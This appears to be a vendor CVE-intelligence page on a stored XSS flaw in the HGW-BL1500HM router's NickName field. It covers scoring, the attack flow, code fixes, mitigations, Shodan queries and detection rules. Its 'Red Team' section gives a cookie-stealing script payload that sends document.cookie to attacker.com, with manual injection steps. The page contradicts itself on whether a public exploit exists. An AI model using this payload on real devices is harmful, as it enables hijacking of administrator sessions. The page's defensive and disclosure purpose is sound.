☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-27567

CVE-2025-27567 Cross-Site Scripting in Hgw-bl1500hm
📅 PUBLISHED: 2025-03-28 08:17 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: Ver 002.002.003 and earlier
CVSS VECTOR BREAKDOWN 5.4
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27567 is a stored cross-site scripting (XSS) vulnerability in the NickName registration screen of the HGW-BL1500HM router (Ver 002.002.003 and earlier). An attacker on the LAN side can inject arbitrary JavaScript into the NickName field, which executes in the browser of any user accessing the configuration page or LAN-only functions. With a CVSS score of 5.4 (Medium), the vulnerability requires user interaction but no authentication, making it a credible threat for internal network compromise. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a consumer router.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
  • Base Score: 5.4 (Medium)
  • Attack Vector (AV): Adjacent Network (LAN-side only)
  • Attack Complexity (AC): Low
  • Privileges Required (PR): None
  • User Interaction (UI): Required (victim must visit the configuration page)
  • Scope (S): Unchanged
  • Confidentiality (C): Low (potential session hijacking)
  • Integrity (I): Low (script injection)
  • Availability (A): Low (potential denial of service via script)

Threat Level: Medium. Exploitation is limited to the LAN, but no authentication is needed to inject the payload.

Deep Dive & Mechanics

The HGW-BL1500HM router’s NickName registration screen does not sanitize user input. An attacker on the same network can submit a crafted NickName containing JavaScript (e.g., <script>alert('XSS')</script>). When an administrator or other user views the configuration page, the script executes in their browser context. This can lead to session token theft, configuration changes, or further lateral movement.

Root Cause: Lack of output encoding and input validation in the NickName field.

Attack Flow:

  1. Attacker connects to the router’s LAN (e.g., via Wi-Fi or Ethernet).
  2. Attacker navigates to the NickName registration page (typically /cgi-bin/nickname.cgi).
  3. Attacker submits a malicious payload in the NickName field.
  4. Victim (admin or user) accesses the configuration page.
  5. Payload executes, potentially exfiltrating session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

// Vulnerable: direct insertion without sanitization
document.getElementById('nickname_display').innerHTML = userInput;

A patched version would use:

// Patched: safe text content assignment
document.getElementById('nickname_display').textContent = userInput;

Or server-side sanitization:

# Patched: server-side escaping
import html
safe_nickname = html.escape(user_input)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to the LAN (e.g., connected to the router’s Wi-Fi).
  • Target router running firmware Ver 002.002.003 or earlier.

Proof-of-Concept (No public exploit available):

<!-- Inject this into the NickName field -->
<script>
  fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Manual Steps:

  1. Open browser, navigate to http://192.168.1.1/cgi-bin/nickname.cgi (adjust IP as needed).
  2. Enter the payload in the NickName field.
  3. Submit the form.
  4. Wait for an admin to view the configuration page.

Blue Team (Detection & Hardening)

Detection:

  • Monitor HTTP requests to /cgi-bin/nickname.cgi for unusual parameters.
  • Look for <script> tags or event handlers in POST data.

Hardening:

  • Isolate the router’s management interface from untrusted LAN devices.
  • Use a VLAN for management traffic.
  • Apply input validation and output encoding if custom firmware is possible.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP POST to /cgi-bin/nickname.cgi containing <script> or onerror= patterns.
    • Outbound connections from the router to unknown IPs on port 80/443 (exfiltration).
  • Host:
    • Unexpected JavaScript execution in the browser when viewing the router’s config page.
    • Modified NickName entries containing encoded or obfuscated scripts.

Detection Engineering

YARA Rule

rule CVE_2025_27567_XSS_NickName {
    meta:
        description = "Detects XSS payload in HGW-BL1500HM NickName field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27567"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-27567 XSS in HGW-BL1500HM NickName
id: 8a3f7c2e-1b4d-4e5f-9a0b-1c2d3e4f5a6b
status: experimental
description: Detects XSS attempts against the NickName registration screen
author: Valters IT
logsource:
    category: webserver
    product: hgw-bl1500hm
detection:
    selection:
        cs-method: POST
        cs-uri-path: '/cgi-bin/nickname.cgi'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in NickName (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27567 XSS NickName Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/nickname.cgi"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable remote management and restrict LAN access to the router’s admin interface.
  2. Change default credentials and use strong passwords.
  3. Monitor logs for unusual POST requests to /cgi-bin/nickname.cgi.

Long-Term Fix:

  • Vendor must release a firmware update that sanitizes the NickName field.
  • Until then, consider replacing the device or using a firewall to block management traffic.

Workaround:

  • Use a separate VLAN for management and restrict access to trusted MAC addresses.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"HGW-BL1500HM"
http.html:"HGW-BL1500HM"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27567/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.